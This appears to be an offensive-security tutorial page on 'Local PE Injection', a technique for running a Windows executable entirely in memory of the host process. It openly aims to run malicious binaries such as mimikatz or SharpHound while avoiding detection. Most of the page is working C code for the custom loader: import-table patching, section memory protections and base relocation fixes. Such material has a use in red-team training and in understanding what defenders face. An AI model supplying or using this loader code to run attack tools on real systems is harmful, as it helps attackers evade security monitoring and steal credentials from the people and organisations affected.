Local PE Injection
Similarly to Reflective DLL Injection, Local PE Injection allows us to execute another PE entirely in memory of the running process. Note, this is done in the local host process and is not remote.
Introduction
Local PE Injection is a way to utilize Position Indepened Code (PIC) to execute a PE entirely in memory of the host process. We can build a PE loader to run malicious binaries entirely in memory to avoid detection. An example would be to run mimikatz.exe or Sharphound.exe in memory.
Local PE Injection Steps
Like Reflective DLL injection there are requirements to locally injection a PE in memory.
1.) Allocate enough memory for the PE file buffer.
2.) Copy the PE sections to the allocated buffer.
3.) Patch the PE's relocations.
4.) Path the PE's Import Address Table (IAT)
5.) Set memory permissions for each of the PE's sections.
6.) Execute the PE's entry point.
I wont go over allocating memory and copying to the bufer but I'll summarize. ReadFile -> HeapAlloc -> memcpy pSections to allocated memory.
Patch IAT
BOOL FixImportAddressTable(IN PIMAGE_DATA_DIRECTORY pEntryImportDataDir, IN PBYTE pPeBaseAddress) {
for (SIZE_T i =0; i < pEntryImportDataDir->Size; i+=sizeof(IMAGE_IMPORT_DESCRIPTOR)) {
PIMAGE_IMPORT_DESCRIPTOR currentImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pPeBaseAddress + pEntryImportDataDir->VirtualAddress + i);
if (currentImportDescriptor->FirstThunk == 0 && currentImportDescriptor->OriginalFirstThunk == 0)
break;
LPSTR cDllName = (LPSTR)(pPeBaseAddress + currentImportDescriptor->Name);
HANDLE hModule = NULL;
// See if we can load DLL
hModule = LoadLibraryA(cDllName);
if (hModule == NULL) {
wprintf(L"Failed to Load Library %s GetLastError: %d", cDllName, GetLastError());
return FALSE;
}
// Iterate through imported functions via INT
SIZE_T ImgThunkSize = 0x00; // Used to move to the next function (iterating through the IAT and INT)
ULONG_PTR pFuncAddress = 0;
PIMAGE_IMPORT_BY_NAME pImgImportByName = NULL;
while (TRUE) {
PIMAGE_THUNK_DATA pFirstThunk = (PIMAGE_THUNK_DATA)(pPeBaseAddress + currentImportDescriptor->FirstThunk + ImgThunkSize);
PIMAGE_THUNK_DATA pOriginalFirstThunk = (PIMAGE_THUNK_DATA)(pPeBaseAddress + currentImportDescriptor->OriginalFirstThunk + ImgThunkSize);
if (pOriginalFirstThunk->u1.Function == 0 && pFirstThunk->u1.Function == 0) {
break;
}
if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal)) {
if ( !(pFuncAddress = (ULONG_PTR)GetProcAddress(hModule, (LPCSTR)IMAGE_ORDINAL(pOriginalFirstThunk->u1.Ordinal))) ) {
printf("[!] Could Not Import !%s#%d \n", cDllName, (int)pOriginalFirstThunk->u1.Ordinal);
return FALSE;
}
}
// Import function by name
else {
pImgImportByName = (PIMAGE_IMPORT_BY_NAME)(pPeBaseAddress + pOriginalFirstThunk->u1.AddressOfData);
if ( !(pFuncAddress = (ULONG_PTR)GetProcAddress(hModule, pImgImportByName->Name)) ) {
printf("[!] Could Not Import !%s.%s \n", cDllName, pImgImportByName->Name);
return FALSE;
}
}
// Install the function address in the IAT
pFirstThunk->u1.Function = (ULONGLONG)pFuncAddress;
ImgThunkSize += sizeof(IMAGE_THUNK_DATA);
}
}
return TRUE;
}
Fix Memory Permissions
BOOL FixMemPermissions(IN ULONG_PTR pPeBaseAddress, IN PIMAGE_NT_HEADERS pImgNtHdrs, IN PIMAGE_SECTION_HEADER pImgSecHdr) {
// Loop through each section of the PE image.
for (DWORD i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {
// Variables to store the new and old memory protections.
DWORD dwProtection = 0x00,
dwOldProtection = 0x00;
// Skip the section if it has no data or no associated virtual address.
if (!pImgSecHdr[i].SizeOfRawData || !pImgSecHdr[i].VirtualAddress)
continue;
// Determine memory protection based on section characteristics.
// These characteristics dictate whether the section is readable, writable, executable, etc.
if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE)
dwProtection = PAGE_WRITECOPY;
if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)
dwProtection = PAGE_READONLY;
if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
dwProtection = PAGE_READWRITE;
if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
dwProtection = PAGE_EXECUTE;
if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE))
dwProtection = PAGE_EXECUTE_WRITECOPY;
if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
dwProtection = PAGE_EXECUTE_READ;
if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
dwProtection = PAGE_EXECUTE_READWRITE;
// Apply the determined memory protection to the section.
if (!VirtualProtect((PVOID)(pPeBaseAddress + pImgSecHdr[i].VirtualAddress), pImgSecHdr[i].SizeOfRawData, dwProtection, &dwOldProtection)) {
wprintf(L"VirtualProtect Failed %d\n", GetLastError());
return FALSE;
}
}
return TRUE;
}
Patch Base Relocations
BOOL FixReloc(IN PIMAGE_DATA_DIRECTORY pEntryBaseRelocDataDir, IN ULONG_PTR pPeBaseAddress, IN ULONG_PTR pPreferableAddress) {
// Pointer to the beginning of the base relocation block.
PIMAGE_BASE_RELOCATION pImgBaseRelocation = (PIMAGE_BASE_RELOCATION)(pPeBaseAddress + pEntryBaseRelocDataDir->VirtualAddress);
// The difference between the current PE image base address and its preferable base address.
ULONG_PTR uDeltaOffset = pPeBaseAddress - pPreferableAddress;
// Pointer to individual base relocation entries.
PBASE_RELOCATION_ENTRY pBaseRelocEntry = NULL;
// Iterate through all the base relocation blocks.
while (pImgBaseRelocation->VirtualAddress) {
// Pointer to the first relocation entry in the current block.
pBaseRelocEntry = (PBASE_RELOCATION_ENTRY)(pImgBaseRelocation + 1);
// Iterate through all the relocation entries in the current block.
while ((PBYTE)pBaseRelocEntry != (PBYTE)pImgBaseRelocation + pImgBaseRelocation->SizeOfBlock) {
// Process the relocation entry based on its type.
switch (pBaseRelocEntry->Type) {
case IMAGE_REL_BASED_DIR64:
// Adjust a 64-bit field by the delta offset.
*((ULONG_PTR*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += uDeltaOffset;
break;
case IMAGE_REL_BASED_HIGHLOW:
// Adjust a 32-bit field by the delta offset.
*((DWORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += (DWORD)uDeltaOffset;
break;
case IMAGE_REL_BASED_HIGH:
// Adjust the high 16 bits of a 32-bit field.
*((WORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += HIWORD(uDeltaOffset);
break;
case IMAGE_REL_BASED_LOW:
// Adjust the low 16 bits of a 32-bit field.
*((WORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += LOWORD(uDeltaOffset);
break;
case IMAGE_REL_BASED_ABSOLUTE:
// No relocation is required.
break;
default:
// Handle unknown relocation types.
printf("[!] Unknown relocation type: %d | Offset: 0x%08X \n", pBaseRelocEntry->Type, pBaseRelocEntry->Offset);
return FALSE;
}
// Move to the next relocation entry.
pBaseRelocEntry++;
}
// Move to the next relocation block.
pImgBaseRelocation = (PIMAGE_BASE_RELOCATION)pBaseRelocEntry;
}
return TRUE;
}
Last updated